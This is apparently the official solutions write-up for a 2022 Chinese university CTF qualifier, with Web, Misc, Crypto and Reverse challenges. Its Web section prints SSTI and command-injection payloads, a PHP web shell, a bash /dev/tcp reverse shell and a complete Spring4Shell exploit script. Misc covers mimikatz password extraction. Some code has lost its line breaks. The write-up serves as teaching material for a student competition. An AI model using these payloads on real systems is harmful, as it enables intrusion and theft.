前言

2022年4月,我校新生赛外的另一大热门比赛 - 网络攻防大赛横空出世,通过初赛CTF,决赛AWD的形式展开,旨在为学校CTF战队选拔人才并培养新人

Web

1.Readflag

考查一下大家对Linux系统常用命令的使用,ls查看目录,cat查看内容,得到flag

2.xff

访问页面显示错误!你的IP不在访问列表之内!,结合题目不难猜测它应该是要伪造IP,但具体不知道改成什么IP。
接着扫目录 通过访问robots.txt发现一列IP地址

可以一个一个试过去,最后得知是1.1.1.1,也可以写脚本跑

3.wizardschat

随意输入用户名进行登录,提示NO MAGIC DETECTED

分析一下登录包,发现有个has_magic,将其参数修改为1即可登录:

登录之后就是这样:

接着我们可以发现它用户名被打印了出来,在这里抓一下包,发现用户名就在Cookie里,用payload{{12*12}}进行测试,发现存在ssti

之后使用下面的payload进行命令执行得到flag

{{config.__class__.__init__.__globals__['os'].popen('ls /').read()}}
{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}

4.easy_login

首先随便注册一个号登录(设置了无法注册admin),在cookie处发现jwt

接着通过工具c-jwt-crack爆破得到secret:SMUV

git clone https://github.com/brendan-rius/c-jwt-cracker
cd c-jwt-cracker
ls
make
./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImhhcnZleSJ9.Nyjoet0oG7uKA2c2ku_X-TknHLBOiMisFwpjV8dqzjU

然后利用在线工具(https://jwt.io/)将用户名修改为admin

最后改下cookie,刷新一下即可得到flag

document.cookie="JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.pf24vtT2NILtY9es6vqCDcCEm1eLqPiE-X3B54SHZwo"

5.chal4

题目给出了源码
$direc的值会被拼接在命令中
$direc只能由a-z A-Z ; / { }组成,且不能含有f l a g
方法可以各式各样,这里我们就根据列出根目录下的文件找到flag,然后查看内容即可得到flag

?direc=/
?direc=;/bin/he?d${IFS}/????
?direc=/;more${IFS}/????

6.eval

后台会将输入传入eval函数中,但是输入不能超过10个字符(这里考虑到大家水平有限,改宽了限制怕大家解不出来),因此我们可以使用下面的payload查看当前目录中的内容

echo `ls`


然后由于flag太长了,我们可以用下面的payload读取当前目录下的所有文件内容(读取结果为8进制)

echo`od *`


最后写个脚本来将输出转化为字符得到flag

a = '0000000 037474 064160 006560 022012 066146 063541 021075 066146 0000020 063541 061173 030067 033141 062545 031061 033542 032067 0000040 030062 061063 030146 031067 061546 033541 061061 031066 0000060 031144 076461 035442 037077 070074 043476 073151 020145 0000100 062555 071440 066557 072145 064550 063556 072040 020157 0000120 073145 066141 036041 070057 005076 036012 070077 070150 0000140 064412 020146 064450 071563 072145 022050 050137 051517 0000160 055524 061447 062155 056447 024451 075440 020012 020040 0000200 022040 066543 020144 020075 057444 047520 052123 023533 0000220 066543 023544 035535 020012 020040 064440 020146 071450 0000240 071164 062554 024156 061444 062155 020051 020076 030061 0000260 020051 005173 020040 020040 020040 020040 061545 067550 0000300 021040 067563 071162 026171 074440 072557 020162 072163 0000320 064562 063556 064440 020163 067564 020157 067554 063556 0000340 035040 021050 005073 020040 020040 020175 066145 062563 0000360 075440 020012 020040 020040 020040 062440 064143 020157 0000400 073145 066141 022050 066543 020144 020056 035442 024442 0000420 005073 020040 020040 005175 005175 037077 005012 063074 0000440 071157 020155 062555 064164 062157 070075 071557 037164 0000460 036012 067151 072560 020164 074564 062560 072075 074145 0000500 020164 060556 062555 061475 062155 005076 064474 070156 0000520 072165 072040 070171 036545 072563 066542 072151 005076 0000540 027474 067546 066562 021476 027441 064542 027556 060542 0000560 064163 027412 072145 027543 067151 072151 062056 060457 0000600 060560 064143 031145 071040 071545 060564 072162 071412 0000620 071145 064566 062543 066440 071571 066161 071040 071545 0000640 060564 072162 027412 071565 027562 064542 027556 060564 0000660 066151 026440 020146 062057 073145 067057 066165 005154 0000700'  # 填输出内容
a = a.split(' ')
o = ''
for c in a:if len(c) == 6:t = bin(int(c,8))[2:].zfill(16)o += chr(int(t[8:],2))+chr(int(t[:8],2))
print(o)

7.hello

扫描目录发现upload.php与hello.php 查看源码可以发现注解<!-- upload.php -->
之后在upload上传jpg文件进行绕过

<script language="php">system($_GET['s']);</script>


通过index.php进行包含,达到命令执行
也可以用下面这个

<script language=php>system("ls /");</script>
<script language=php>system("cat /flaaaaag");</script>

8.cookies

随便输入除了admin之外的用户登录,看到Y0u 4re n0t admin, no fl4g h3re!
F12看到cookie,base64解码得到 {“username”:“harvey”,“status”:1} ,修改为admin再编码:eyJ1c2VybmFtZSI6ImFkbWluIiwic3RhdHVzIjoxfQ==
然后再替换,刷新得到flag

9.???

F12把maxlenth改为6,然后删掉提交按钮的disable属性,输入SMUCTF后提交,得到信息:flag不在这,I prepared a shell for you : sh3ll.php

于是我们访问sh3ll.php得到如下:

给出源码,发现l m n ? .还有空格没过滤,提示其实很明显了,题目???提示Linux通配符,lmn没过滤提示使用nl查看文件,搜索命令执行绕过都是可以搜索到的
构造出payload:POST: cmd=nl ????????????????
因为<的原因,需要查看下源码得到flag

10. 召唤神龙

一道单纯的游戏题,增加比赛的趣味性,审下js即可,送分题罢了
main.js里发现一段注解,jsfuck得到flag

11. linkup

还是个游戏题,依旧是审js,不过难度有所提升,藏在game.js里混淆了,这里推一个去年5月出的在线工具(https://jsdec.js.org/),解密得到flag

12.cve-2021-4034

漏洞复现题,打开题目是个上传,抓包绕过前端js验证,发现后端没有验证

上传之后用蚁剑连接

发现没有目录访问权限,但是命令行好使,在根目录发现了flag,但是权限不够

这里用cve-2021-4034,首先反弹一个shell

bash -c 'exec bash -i &>/dev/tcp/ip/port <&1'


接着上传poc到tmp文件夹(因为这里有读写权限
然后运行poc拿到root权限,得到flag

13.spring-core-rce

作为从事信息安全方向的人员,不论是在哪一个企业,对于漏洞的敏感度都肯定需要异于常人,需要日常更新自己的漏洞库知识,哪怕有一点印象都可以,毕竟现在是互联网时代,详情可以在网络上搜索得到,获取信息不能太滞后。
这个题主要是想考察信息安全的同学对于近期 Web 漏洞的关注度,这个 Web 漏洞就是cve-2022-22965,这个漏洞在 2022/3/29 号左右在互联网上被披露,SMUCTF 是 2022/4/11 ,日子比较接近,也符合我想考察地同学们对于 Web 漏洞跟进的能力。并且为了降低整体比赛难度,减轻同学们的压力,所以没有设置其他特别复杂的漏洞。直接拿网上的poc打就行,在根目录下得到flag

import requests
import argparse
from urllib.parse import urljoindef Exploit(url):headers = {"suffix":"%>//","c1":"Runtime","c2":"<%","DNT":"1","Content-Type":"application/x-www-form-urlencoded"}data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=harvey&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="go = requests.post(url,headers=headers,data=data,timeout=15,allow_redirects=False)shellurl = urljoin(url, 'harvey.jsp')shellgo = requests.get(shellurl,timeout=15,allow_redirects=False)if shellgo.status_code == 200:print(f"漏洞存在,shell地址为:{shellurl}?pwd=j&cmd=whoami")def main():parser = argparse.ArgumentParser(description='Srping-Core Rce.')parser.add_argument('--file',help='file url ',required=False)parser.add_argument('--url',help='target url',required=False)args = parser.parse_args()if args.url:Exploit(args.url)if args.file:with open (args.file) as f:for i in f.readlines():i = i.strip()Exploit(i)if __name__ == '__main__':
main()# 漏洞存在,shell地址为:http://175.178.102.149:7013/harvey.jsp?pwd=j&cmd=whoami

Misc

1.签到

欢迎参加信息工程学院网络攻防大赛!
你要做的就是在我们给你的文件或者链接中找到flag并将它提交到答题平台
flag格式默认为flag{}包裹的字符串
例如本题的flag为:flag{WelC0me_T0_the_FUN_SMUCTF!}
在答题框输入字符串flag{WelC0me_T0_the_FUN_SMUCTF!}即可

2.emoji

根据题目描述不难看出这是emoji-aes解密,key:SMUCTF,解密得到flag(在线工具:https://aghorler.github.io/emoji-aes/

3.冰墩墩的汉信码

寒假在家出的签到题,没有加什么东西进去,所以这题没啥难度,然后也把它“明目张胆的”贴在了比赛平台介绍页面上作为彩蛋题的形式出现,本意就是给大家了解一下汉信码,同时蹭蹭冰墩墩的热度罢了~
我们通过工具Stegsolve打开它进行观察,不难发现在r0通道找到汉信码,扫码得到flag


4.SMUGIFQR

缩略图,直接放入Stegsolve逐个扫码得到flag

5.smuimg

常规的几个图片隐写套娃,一次性简单的入门图片隐写
①.binwalk foremost分离得到一个加密的压缩包

②.根据压缩包注解可知key为SMUCTF,outguess解密得到压缩包密码:GuessIcan’tguessy0urpassword

③.同上,根据压缩包注解可知key为SMUCTF,F5解密得到压缩包密码:I@mSMUF5member~

④.最后JPHS空密码解密得到flag

6.listentomusic

常规的几个音频隐写套娃,一次性简单的入门音频隐写
①.电话音,dtmf2num解密得到密码:1933056020


②.silenteye lsb隐写解密得到一个百度网盘下载链接

③.最后sstv得到flag

7.superzip

常规的几个压缩包隐写套娃,一次性简单的入门压缩包隐写
①.暴力破解,得到密码:447176

②.字典攻击,根据所给密码本得到密码:sb[A#8J,+c;xGz7d

③.明文攻击,得到密码:./SMUz1pCTF!!~(有点慢就不等最后的结果图了

④. binwalk foremost 得到一个加密的压缩包

⑤.伪加密,得到flag


8.High-level_SMUpdf

常规的pdf隐写,一次性简单的入门pdf隐写
首先可以通过工具apdfpr或者一些在线工具爆破出密码:0816
接着查看pass.pdf,全选文档拉到最底下可以发现有很明显的白色字体部分,得到压缩包密码:6ef23c0845c43d82e0614baeba084d11


最后把pdf丢到wbStego解密得到flag

9.内存取证

用volatility打开,首先查看镜像的系统版本,发现这是一个win7系统

./vol.py -f WIN.raw imageinfo

查看有没有可以的文件,在桌面发现新建文本文档.txt

./vol.py -f WIN.raw --profile=Win7SP1x64 filescan |grep Desktop


导出文本得到提示

./vol.py -f WIN.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000001ea22480  -n --dump-dir=./


这里需要下载一个mimikatz插件到volatility,将python脚本放到volatility的插件目录,然后直接用插件提取开机密码,得到flag

10.Recon-Memory

首先是个zip炸弹,其中一个被递归地封装在另一个中,最简单的方法就是直接写个脚本梭哈。不过因为zipfile本身的限制,脚本只能做到把一个文件写出来然后再去解压,不然可做到全程不解压文件也能读取到里面内容

import zipfile
import base64f = zipfile.ZipFile('a.zip')res = 'a'
for i in range(90):try:tmp = f.namelist()[0]res += tmp[-5]print(tmp)next1 = f.read(tmp)tf = open('1.zip','wb').write(next1)# print(next1)f = zipfile.ZipFile('1.zip')except:print('done')breakres = res[:-1]
print(res)
print(base64.b64decode(res))# aHR0cHM6Ly9jZG4uanNkZWxpdnIubmV0L2doL01zc25IYXJ2ZXkvaW1hZ2Uvc211Y3RmcGFzc3dvcmQuanBn
# https://cdn.jsdelivr.net/gh/MssnHarvey/image/smuctfpassword.jpg

base64解密得到一个图片链接,谷歌/百度识图都能得到压缩包密码:福清创元千禧大酒店,最后解压得到flag

11.病毒文件恢复

查看文件,分析文件flag.txt.nxgszagbx应该是一个是被病毒锁住的文件,还有一个是病毒文件NXGSZAGBX-DECRYPT.txt
根据病毒文件里面的提示,很显然是一个勒索病毒,大概提示就是需要下载某个浏览器,付款后才能解锁,如果随意修改文件数据就会被破坏
根据文件名可以猜测,被勒索病毒锁住之前,文件是flag.txt,锁住之后就变成了nxgszagbx
最后我们可以使用360的勒索病毒在线解密(https://lesuobingdu.360.cn/)来处理文件,得到flag

12.工控协议分析-S7

用wireshrk打开里面包含了很多协议,有tcp、http、s7comm,先筛选出S7COMM协议后,看到基本上全是read var和响应返回的组合,协议长度都差不多
根据题目提示:协议中存在异常数据,应该是把数据藏在了data段,那对应协议的长度应该会增加,所以直接在length上按从高到低排序,来找我们需要的异常协议
最长的协议长度达到了192,和普通的响应长度不一样,找到对应的协议我们可以看到最后存在一串密文:69735f6e6f745f7265616c
最后16进制解码得到flag

13.问卷调查

填写问卷得到flag:flag{Just_SMUCTF_Survey_2022}

Crypto

1.affinecipher

仿射密码

def affine(a,b):pwd = {}for i in range(28):pwd_dic[chr(((a*i+b)%28+97))] = chr(i+97)return pwd_dic
if __name__ == '__main__':pwd_dic = {}pwd = 'smuctf'pwd = pwd.lower()plain = []pwd_dic = affine(11,4)for i in pwd:plain.append(pwd_dic[i])print ("Flag is :" + "".join(plain))

2.hex

hex编码,解码后不是可见字符的范围,然后模128之后,得到flag

s='d4e8e1f4a0f7e1f3a0e6e1f3f4a1a0d4e8e5a0e6ece1e7a0e9f3baa0fbb9e1e6b3e3b9e4b3b7b7e2b6b1e4b2b6b9e2b1b1b3b3b7e6b3b3b0e3b9b3b5e6fd'
flag=""
for i in range(len(s)/2):flag+=chr(int(s[:2],16)%128)s=s[2:]
print flag

3.blast

题目给出了乱序的flag和其sha1散列值,由于已知flag形式为flag{*},所以剩下要爆破的就是@1sechn,写个爆破脚本得到flag

import itertools
import hashlibdef sha1(str):sha = hashlib.sha1(str)encrypts = sha.hexdigest()return encryptsstr3 = '@1sechn'
for i in itertools.permutations(str3):tmp = (''.join(i))res = 'flag{'+tmp+'}'if sha1(res) == 'fee6ddfbb902ebffd6bce7433a1ddf19bba1c07d':print resbreak

4.easyrsa

根据题目给出的程序容易看出是RSA的共模攻击

import string
import gmpy
from rsa import transform,coredef egcd(a, b):if a == 0:return b, 0, 1else:g, y, x = egcd(b % a, a)return g, x - b // a * y, y
def main():file1 = open("flag.enc1" ,'rb').read()c1 = transform.bytes2int(file1)file2 = open("flag.enc2" ,'rb').read()c2 = transform.bytes2int(file2)n = 0x00b0bee5e3e9e5a7e8d00b493355c618fc8c7d7d03b82e409951c182f398dee3104580e7ba70d383ae5311475656e8a964d380cb157f48c951adfa65db0b122ca40e42fa709189b719a4f0d746e2f6069baf11cebd650f14b93c977352fd13b1eea6d6e1da775502abff89d3a8b3615fd0db49b88a976bc20568489284e181f6f11e270891c8ef80017bad238e363039a458470f1749101bc29949d3a4f4038d463938851579c7525a69984f15b5667f34209b70eb261136947fa123e549dfff00601883afd936fe411e006e4e93d1a00b0fea541bbfc8c5186cb6220503a94b2413110d640c77ea54ba3220fc8f4cc6ce77151e29b3e06578c478bd1bebe04589ef9a197f6f806db8b3ecd826cad24f5324ccdec6e8fead2c2150068602c8dcdc59402ccac9424b790048ccdd9327068095efa010b7f196c74ba8c37b128f9e1411751633f78b7b9e56f71f77a1b4daad3fc54b5e7ef935d9a72fb176759765522b4bbc02e314d5c06b64d5054b7b096c601236e6ccf45b5e611c805d335dbab0c35d226cc208d8ce4736ba39a0354426fae006c7fe52d5267dcfb9c3884f51fddfdf4a9794bcfe0e1557113749e6c8ef421dba263aff68739ce00ed80fd0022ef92d3488f76deb62bdef7bea6026f22a1d25aa2a92d124414a8021fe0c174b9803e6bb5fad75e186a946a17280770f1243f4387446ccceb2222a965cc30b3929e1 = 17e2 = 65537s = egcd(e1, e2)s1 = s[1]s2 = s[2]if s1 < 0:s1 = -s1c1 = gmpy.invert(c1, n)elif s2 < 0:s2 = -s2c2 = gmpy.invert(c2, n)m = pow(c1, s1, n) * pow(c2, s2, n) % nprint('{:x}'.format(int(m)))if __name__ == '__main__':main()

5.ezmath


可以看出左右两边都是不可约分数,所以两分子相等,即一个关于p的方程,从而解出p。

p = Symbol('p')
result = solve(N / p - p - 1 - (X + 2 * Y), p)
p = max(result)

然后就是正常的rsa解密

import gmpy
from sympy import Symbol, solve
from Crypto.Util.number import long_to_bytesN = 161010103536746712075112156042553283066813155993777943981946663919051986586388748662616958741697621238654724628406094469789970509959159343108847331259823125490271091357244742345403096394500947202321339572876147277506789731024810289354756781901338337411136794489136638411531539112369520980466458615878975406339
X = 153801856029563198525204130558738800846256680799373350925981555360388985602786501362501554433635610131437376183630577217917787342621398264625389914280509
Y = 8086061902465799210233863613232941060876437002894022994953293934963170056653232109405937694010696299303888742108631749969054117542816358078039478109426
c = 15380535750650959213679345560658190067564859611922563753882617419201718847747207949211621591882732604480600745000879508274349808435529637573773711729853565120321608048340424321537282281161623712479117497156437792084977778826238039385697230676340978078264209760724043776058017336241110097549146883806481148999p = Symbol('p')
result = solve(N / p - p - 1 - (X + 2 * Y), p)
p = max(result)
q = N / pp = int(p)
# print(p)
q = int(q)
# print(q)d = gmpy.invert(0x10001, (p - 1) * (q - 1))m = pow(c, d, p * q)
flag = str(long_to_bytes(m))
print(flag)# flag = r"flag{2a5a9c6fe94da5ef7edeffebb506b29a}"# p = 12604273285023995463340817959574344558787108098986028639834181397979984443923512555395852711753996829630650627741178073792454428457548575860120924352450409
# q = 12774247264858490260286489817359549241755117653791190036750069541210299769639605520977166141575653832360695781409025914510310324035255606840902393222949771
# X = 153801856029563198525204130558738800846256680799373350925981555360388985602786501362501554433635610131437376183630577217917787342621398264625389914280509
# Y = 8086061902465799210233863613232941060876437002894022994953293934963170056653232109405937694010696299303888742108631749969054117542816358078039478109426

Reverse

1.warmup

64位程序,使用ida反编译得到flag

int __cdecl main(int argc, const char **argv, const char **envp)
{char s2[32]; // [rsp+0h] [rbp-40h] BYREFchar s1[32]; // [rsp+20h] [rbp-20h] BYREFputs("plz input flag:");strcpy(s2, "Reverse_is_very_Fun-_-!");__isoc99_scanf("%s", s1);if ( !strcmp(s1, s2) )puts("right!");elseputs("wrong!");return 0;
}

2.合金弹头

gm8decompiler解包得到.gmk文件在gamemake中打开,最终在背景图中找到flag

.\gm8decompiler.exe "合金弹头.exe"

3.easy_Maze

在完成300个迷宫后解密输出flag

直接定位到输出flag的逻辑:

修改eip到这里输出flag

4.easy_py

使用uncomply6对pyc进行反编译,得到:

# uncompyle6 version 3.7.4
# Python bytecode 3.7 (3394)
# Decompiled from: Python 3.8.6 (tags/v3.8.6:db45529, Sep 23 2020, 15:52:53) [MSC v.1927 64 bit (AMD64)]
# Embedded file name: zzxxcc.py
# Compiled at: 2021-10-18 18:24:21
# Size of source mod 2**32: 582 bytes
check = [125, 226, 309, 426, 521, 569, 685, 780, 901, 1016,1081, 1182, 1277, 1325, 1440, 1535, 1650, 1758, 1853, 1963,2011, 2115, 2231, 2352, 2432, 2555, 2658, 2755, 2863, 2965]
input_my = list(input('Plz input flag:\n'))
if len(input_my) == 30:temp = 0for i in range(29, -1, -1):temp += ord(input_my[i])if check[(29 - i)] != temp:print('Error!')exit()print('Right!')
else:print('Error!')exit()
# okay decompiling easy_py.pyc

解密得到flag

>>> check = [125, 226, 309, 426, 521, 569, 685, 780, 901, 1016,
...  1081, 1182, 1277, 1325, 1440, 1535, 1650, 1758, 1853, 1963,
...  2011, 2115, 2231, 2352, 2432, 2555, 2658, 2755, 2863, 2965]
>>> check
[125, 226, 309, 426, 521, 569, 685, 780, 901, 1016, 1081, 1182, 1277, 1325, 1440, 1535, 1650, 1758, 1853, 1963, 2011, 2115, 2231, 2352, 2432, 2555, 2658, 2755, 2863, 2965]
>>> for i in range(29, 0, -1):
...     check[i] -= check[i-1]
...
>>> check
[125, 101, 83, 117, 95, 48, 116, 95, 121, 115, 65, 101, 95, 48, 115, 95, 115, 108, 95, 110, 48, 104, 116, 121, 80, 123, 103, 97, 108, 102]
>>> bytes(check[::-1])
b'flag{Pyth0n_ls_s0_eAsy_t0_uSe}'

5.XOR&1337

首先,得到需要比较的值。

temp = [0x4d, 0x0c, 0x5d, 0x50, 0x56, 0x4a, 0x0f, 0x0d, 0x5e, 0x4d, 0x03, 0x6e, 0x58, 0x42, 0x6e, 0x4d, 0x03, 0x54, 0x50, 0x5d, 0x5d, 0x51, 0x1e, 0x6e, 0x50, 0x4d, 0x6d, 0x1e, 0x4d, 0x50, 0x4b, 0x58, 0x4d, 0x6d, 0x4d, 0x56, 0x4c]

之后,题目中的加密方式是异或,异或的异或是原值,所以可以直接异或回来就拿到$1337(flag)

flag = []for i in range(len(temp)):flag.append(chr(0x31 ^ temp[i]))for x in flag:print(x, end='')# |=lag{><o|2_is_|2eall`/_a|\/|azi|\|g}

此时就差最后一步,根据题目中的提示$1337(flag),可以Google到Leet语(http://www.toolsxx.com/code/1337.html),之后拿去转换即可得到flag

三明学院信息工程学院网络攻防大赛-初赛官方解题报告相关推荐

  1. 2019 年百度之星·程序设计大赛 - 初赛一 解题报告

    题目链接 1001 Polynomial (基础数学) Accepts: 2234 Submissions: 5283 Time Limit: 2000/1000 MS (Java/Others) M ...

  2. 首届广西网络安全技术大赛初赛通关攻略

    首届广西网络安全技术大赛初赛通关攻略 前言 第一次参加安全类比赛(好吧,其实我这种宅男参加的比赛都很少,很多种比赛都是第一次 - -),同组的组员建议我在比赛完写个通关攻略出来.听起来不错,写个通关攻 ...

  3. 南阳理工学院计算机的课程,《数据结构》课程教学大纲-南阳理工学院--计算机与信息工程学院网络.doc...

    <数据结构>课程教学大纲-南阳理工学院--计算机与信息工程学院网络 <数据结构>课程教学大纲 DATA STRUCTURE 适用范围:2011本科人才培养方案 课程代码:060 ...

  4. 武汉工程科技学院.网络集成与安全.综合实习报告.2017.12.5

    声明:此分享仅供学习参考,不得用于任何商业用途. 武汉工程科技学院.网络集成与安全.综合实习报告.2017.12.5 拓扑图如下: 主要知识点如下: 1)        静态路由 2)         ...

  5. 20221915 2022-2023-2 《网络攻防实践》实践六报告

    20221915 2022-2023-2 <网络攻防实践>实践六报告 1.实践内容 DNS服务 DNS区域传送 nslookup:default server ls -d Domain_D ...

  6. 杭电第四届网络攻防大赛(蛋疼的初赛)

    最近比赛比较多的,在老战友kun和小强的邀请下,参加了这个比赛,主要是也想去杭州游玩一番,顺便省下交通费用,之前不曾去过杭州,听说西湖很大,隔岸不见牛马 之前与旧友交谈,推荐了几家菜馆,不过兴致不大. ...

  7. 2023 HGAME网络攻防大赛wp

    目录 WEEK1 MISC e99p1ant_want_girlfriend 神秘的海报 Where am I Crypto 兔兔的车票 神秘的电话 Be Stream WEEK2 WEEK1 MIS ...

  8. 【CTF WriteUp】2020中央企业”新基建“网络安全技术大赛初赛Crypto题解

    Crypto Crypto_ezCrypto 观察密文,很像字母替换后的英文语法,但注意到其中有一段是.ubwbsjs,标点符号通常在后边,所以说明密文是颠倒的,首先反过来以后,尝试使用词频分析工具解 ...

  9. 西电网络攻防大赛--渗透测试第二题

    地址:http://test.xdsec.org/1/ 使用google浏览器打开 点击Resources 找到cookie 发现key 不过也是加密的 猜测是base64加密 so,百度一个解密网站 ...

  10. 网络安全竞赛 第二届“金科网安杯”网络攻防大赛赛题总结

    第一次参加网络安全竞赛,发现自己是真的菜. 自己蒙对了俩个,一个brainfuck加密和一个肉眼就能看出来的解码= = 真的无语...俩个队友也是真的牛皮,前几天看都没看造就了今天的自我爆零.. 也许 ...

最新文章

  1. php redis search,php redis类
  2. 如何用最短时间搞定酷炫可视化大屏?这款工具值得一看
  3. c++ mysql 配置_C++--mysql相关配置
  4. java对象赋值给另一个对象_java面向对象编程
  5. ODI中web service介绍
  6. jQuery事件4——hover
  7. crm采用soap删除记录
  8. 子集生成算法——增量构造法
  9. 微信小程序图标样式的引用
  10. 微信公众号编辑排版规范(试行版)
  11. 阿里云服务器apt install 出错怎么办?出现Package gdb is not available, but is referred to by another package怎么办
  12. OSWorkflow(转载)
  13. wsl虚拟机ubuntu安装宝塔要知道的
  14. 小程序中引导用户关注公众号
  15. 修改百分浏览器(centbrowser)、谷歌和火狐浏览器默认字体的方法
  16. xxl-job配置发邮件 spring.mail的QQ邮箱配置
  17. 微信小程序之网易云音乐(一)- uni-app的基本使用
  18. java中di,初识Spring的DI及其基本用法
  19. .mat文件批量转成图片——python脚本编写
  20. python应用程序无法正常启动0xc000007b_应用程序0xc000007b无法正常启动怎么办,图文详解如何解决...

热门文章

  1. 威联通212-P 安装远程迅雷,docker安装远程迅雷
  2. 如何快速合并PDF文件?几个方法教你合并PDF
  3. vlan协议中ISL与Dot1Q区别
  4. 如何用PPT制作一份数据图表?
  5. 一个基于igv.js实现的python脚本,实现简单的网页版IGV
  6. Flash MX 2004的Alpha Fader
  7. 跨平台调用之一——java调用so库
  8. 几款软件界面模型设计工具
  9. 第一章、基于Ruoyi-Vue开发脚手架之对象存储实现
  10. ubuntu18.04加nvidia显卡安装在华硕笔记本上gx1050ti(飞行堡垒fx8)+cuda+cudnn+ttensorflow+keras